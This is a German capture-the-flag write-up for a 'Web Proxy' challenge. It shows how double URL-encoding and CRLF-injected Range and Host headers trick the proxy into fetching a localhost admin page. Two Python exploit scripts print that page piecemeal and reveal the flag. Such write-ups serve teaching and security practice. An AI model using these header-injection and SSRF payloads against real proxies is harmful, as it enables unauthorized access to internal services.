Die Challenge “Web Proxy” startet mit der Behauptung, dass mit dem Proxy sicheres surfen möglich sei. Dies testen wir direkt einmal, indem wir eine beliebige Webseite – hier f00l.de – mit der beschriebenen URL aufrufen.
Der Blick in die Protokolle zeigt, dass die Seite tatsächlich abgefragt wird und die angegebenen HTTP-Header mit denen der Webseite überein stimmen. Als Nächstes sehen wir uns den Quellcode der Proxy-Seite etwas genauer an und finden am Ende folgende Zeilen vor:
Wir finden hier einen Hinweis der Veranstalter auf eine weitere Seite des Proxy-Servers vor, nämlich “/admin/index.php”. Dieses versuchen wir auch sofort mit unserem Browser aufzurufen – mit folgendem Ergebnis:
Der Zugriff wird verweigert! Offensichtlich durfen wir diese Webseite (aus dem Internet) nicht aufrufen. Es liegt jedoch nahe, dass diese URL aus dem lokalen Netzwerk des Proxys, insbesondere von localhost, aufgerufen werden könnte.
Auch dies testen wir, indem wir den Proxy auffordern, für uns die Webseite “localhost/admin/index.php” aufzurufen. Wir erhalten folgende Nachricht:
So einfach wird es uns also nicht gemacht ;). Weitere Versuche zeigen, dass die Nachricht “Access Denied” nur bei PHP-Dateien auftritt, weshalb wir im Folgenden versuchen, die Prüfung mittels URL-Encoding zu überwinden. Dazu geben wir die “index.php”-Datei als “index.ph%70” an. (Der Browser wird diese Zeichenfolge im HTTP-Post-Request intern nochmals zu %2570 kodieren.)
Dieses Mal war unsere Abfrage erfolgreich und wir konnten die Überprüfung des Proxys auf PHP-Dateien umgehen. Leider wird uns die “admin.php”-Webseite jedoch nicht komplett angezeigt. Der Proxy zeigt nur die ersten Zeilen an und schneidet den Rest mit Punkten ab.
An dieser Stelle könnte nun der HTTP-Range-Header in den Sinn kommen, mit dem man gezielte Bytes einer Webseite anfordern kann. Dazu müsste es uns jedoch möglich sein, auch HTTP-Header-Felder an den Proxy zu übergeben, zum Beispiel indem wir nach der URL einfach weitere Angaben machen. Dies testen wir zunächst, durch einen eigenen “HTTP/1.1”-Request.
Wir fordern dazu vom Proxy die Webseite “localhost/admin/index.ph%70 HTTP/1.1” an:
Die Abfrage funktioniert tatsächlich, ohne dass sich der Web Proxy beschwert! Vielmehr erkennen wir, dass wir Erfolg hatten, da bei HTTP/1.1 keine “Connection: close”-Zeile erwidert wurde (und somit eine zusätzliche Zeile des HTML-Codes angezeigt wird).
Durch weitere Angaben in der vom Proxy angeforderten Webseite, also des Headers “Range: bytes=xxx“, sollten wir nun also gezielt Bytes der admin-Seite anfordern und so die gesamte Webseite auslesen können. Dieses Vorgehen ist im folgenden Python-Skript realisiert:
#!/usr/bin/python import requests import string import sys sessions = [] step = 2 for i in range(0,430,step): r = requests.get('http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/index.ph%2570%20HTTP/1.0%0aRange:%20bytes=' + str(i) + '-' + str(i+step-1) + '%0a%0a') pos = string.rfind(r.text, "silver><xmp>")+len("silver><xmp>")+4 sys.stdout.write(r.text[pos:pos+step]) sys.stdout.flush()
Der Einfachheit halber werden die Bytes hier einzeln von der Webseite gelesen. Die Ausführung des Skriptes liefert diese Ausgabe:
<html>
<head>
<title>admin page</title>
</head>
<body>
Access Denied<br>
100
99
98
...
2
1
0
<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>
</html>
Um das Auslesen zu erschweren haben die Veranstalter die Seite mit viel Datenmüll (Zahlen von 100 bis 0) gefüllt, was in der Ausgabe gekürzt wurde. Interessant ist eigentlich nur die vorletzte Zeile, in der sich ein weiterer Hinweis verbirgt. Der Web Proxy muss demnach als Host mit dem Namen “hackme” aufgerufen werden um den verweigerten Zugriff zu vermeiden.
Da wir auf dem Proxy jedoch nicht einfach einen statischen DNS-Namen konfigurieren können, müssen wir einen weiteren HTTP-Header, nämlich den “Host“-Header ergänzen. Dazu passen wir das Python-Skript im Bereich der POST-Daten an:
#!/usr/bin/python import requests import string import sys sessions = [] step = 2 for i in range(0,127,step): r = requests.get('http://58.229.183.24/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/index.ph%2570%20HTTP/1.0%0aHost:%20hackme%0aRange:% 20bytes=' + str(i) + '-' + str(i+step-1) + '%0a%0a') pos = string.rfind(r.text, "silver><xmp>")+len("silver><xmp>")+4 sys.stdout.write(r.text[pos:pos+step]) sys.stdout.flush()
Wenn wir dieses Skript nun ausführen, erhalten wir diese Ausgabe:
<html>
<head>
<title>admin page</title>
</head>
<body>
hello admin<br>
Password is WH0_IS_SnUS_bI1G_F4N
</body>
</html>
Die Lösung der Challenge lautet somit “WH0_IS_SnUS_bI1G_F4N“.